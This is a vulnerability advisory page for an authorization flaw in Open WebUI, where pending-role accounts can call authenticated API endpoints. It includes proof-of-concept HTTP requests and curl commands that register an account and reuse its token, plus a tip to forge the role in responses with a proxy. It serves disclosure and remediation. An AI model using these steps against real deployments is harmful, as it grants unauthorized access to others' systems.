Skip to content

GHSA-4vg5-rp28-gvjf CVE-2026-44567 PYSEC-2026-2703

Open WebUI has Improper Authorization Control

High PyPI
Severity
7.3 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.23%
Chance of exploitation in the next 30 days. Higher than 13.92% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-602 Client-Side Enforcement of Server-Side Security
CWE-862 Missing Authorization
Fix
0.1.124
Upgrade open-webui to this version or later

Description

CONFIDENTIAL

Vulnerability Disclosure Analysis Documentation


Vulnerability Details

# Field Value
1 Discoverer Taylor Pennington of KoreLogic, Inc.
2 Date Submitted June 11, 2024
3 Title Open WebUI Improper Authorization Control
5 Affected Vendor Open WebUI
6 Affected Product(s) Open WebUI (Formerly Ollama WebUI)
7 Affected Version(s) 0.1.105
8 Platform/OS Debian GNU/Linux 12 (bookworm)
9 Vector HTTP web interface
10 CWE 285 Improper Authorization

4. High-level Summary

There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.


11. Technical Analysis

The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.

Request
POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60

{ 
 "name": "", 
 "email": "bad_guy@korelogic.com", 
 "password": "a" 
 }
Response
HTTP/1.1 200 OK
...

{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "bad_guy@korelogic.com",
"name": "",
"role": "pending",
"profile_image_url": "/user.png",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs",
"token_type": "Bearer"
}

An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.

With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.

Request
GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs
Response
HTTP/1.1 200 OK
...

{
"models": [
    {
    "name": "ollama.com/emsi/mixtral-8x22b:latest",
    "model": "ollama.com/emsi/mixtral-8x22b:latest",
    "modified_at": "2024-04-12T17:27:51.479356401-04:00",
    "size": 79509285991,
    "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
    "details": {
        "parent_model": "",
        "format": "gguf",
        "family": "llama",
        "families": ["llama"],
        "parameter_size": "141B",
        "quantization_level": "Q4_0"
    },
    "urls": [0]
    },
    ...
]
}

The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180

As shown below, the login checks if url_idx is None and if so, call get_all_mdoels and assign the result to models after that the logic checks if app.state.MODEL_FILTER_ENABLED is true and if not, it returns the result. As MODEL_FILTER_ENABLED is not configured by default, the application will not attempt to further validate the user.

@app.get("/api/tags")
@app.get("/api/tags/{url_idx}")
async def get_ollama_tags(
    url_idx: Optional[int] = None, user=Depends(get_current_user)
):
    if url_idx == None:
        models = await get_all_models()
        
        if app.state.MODEL_FILTER_ENABLED:
            if user.role == "user":
                models["models"] = list(
                    filter(
                        lambda model: model["name"] in app.state.MODEL_FILTER_LIST,
                        models["models"],
                    )
                )
                return models
        return models

This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.

The vulnerability is caused by a missing authorization check that occurs with user=Depends(get_current_user). The logic of that function is found here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97

def get_current_user(
auth_token: HTTPAuthorizationCredentials = Depends(bearer_security),
):
    # auth by api key
    if auth_token.credentials.startswith("sk-"):
        return get_current_user_by_api_key(auth_token.credentials)
    # auth by jwt token
    data = decode_token(auth_token.credentials)
    if data != None and "id" in data:
        user = Users.get_user_by_id(data["id"])
        if user is None:
            raise HTTPException(
                status_code=status.HTTP_401_UNAUTHORIZED,
                detail=ERROR_MESSAGES.INVALID_TOKEN,
            )
        return user
    else:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=ERROR_MESSAGES.UNAUTHORIZED,
        )

As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.


12. Proof-of-Concept

First, verify that an unauthenticated user receives {"detail":"401 Unauthorized"}:

curl -s -X $'GET' \
    -H $'Host: openwebui.example.com' \
    -H $'Content-Type: application/json' \
    $'https://openwebui.example.com/ollama/api/tags'

The above curl command will return: {"detail":"401 Unauthorized"} as no Authorization Bearer token is provided.

Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the $JWT environment variable which will be utilized in the subsequent cURL command.

export JWT=$(curl -s -X POST \
    -H 'Host: openwebui.example.com' -H 'Content-Length: 60' \
    -H 'Content-Type: application/json' \
    --data '{"name":"","email":"bad_guy@korelogic.com","password":"a"}' \
    'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"')

curl -v $'GET' \
    -H $'Host: openwebui.example.com' \
    -H $'Content-Type: application/json' \
    -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'https://openwebui.example.com/ollama/api/tags'

Additionally the "role":"pending" value in the HTTP response can be forged from POST /api/v1/auths/signin and GET /api/v1/auths/ to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying pending to user.


13. Mitigation Recommendation

The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116 for the correct function to use.

def get_verified_user(user=Depends(get_current_user)):
if user.role not in {"user", "admin"}:
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
    )
return user

Modify all authenticated endpoints to utilize get_verified_user() function instead of get_current_user().

Affected versions

PyPI

PackageVulnerableFixed in
open-webui
< 0.1.124
0.1.124

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

open-webui PyPI → 0.1.124

pip
pip install --upgrade "open-webui>=0.1.124"
poetry
poetry add "open-webui>=0.1.124"
uv
uv add "open-webui>=0.1.124"

Severity breakdown

CVSS 3.1 7.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Weakness

CWE-602: Client-Side Enforcement of Server-Side Security

The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

How to prevent it
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Architecture and Design: If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wvm9-9g5j-623f
Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-4qg5-cxx4-g927
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-jqhh-cjmq-vmv6
Open WebUI: Any authenticated user can hang the server via a cyclic chat message history
Medium Also affects open-webui
GHSA-5x7x-4c3c-qf5w
Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets
Medium Also affects open-webui
GHSA-3cgp-3cqx-j8w2
Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree
Medium Also affects open-webui
GHSA-34r3-9m95-vq73
Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
High Also affects open-webui
GHSA-2724-6cpj-gf3v
Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion
High Also affects open-webui
GHSA-3pf7-q2g3-wj28
Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions
Medium Also affects open-webui
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor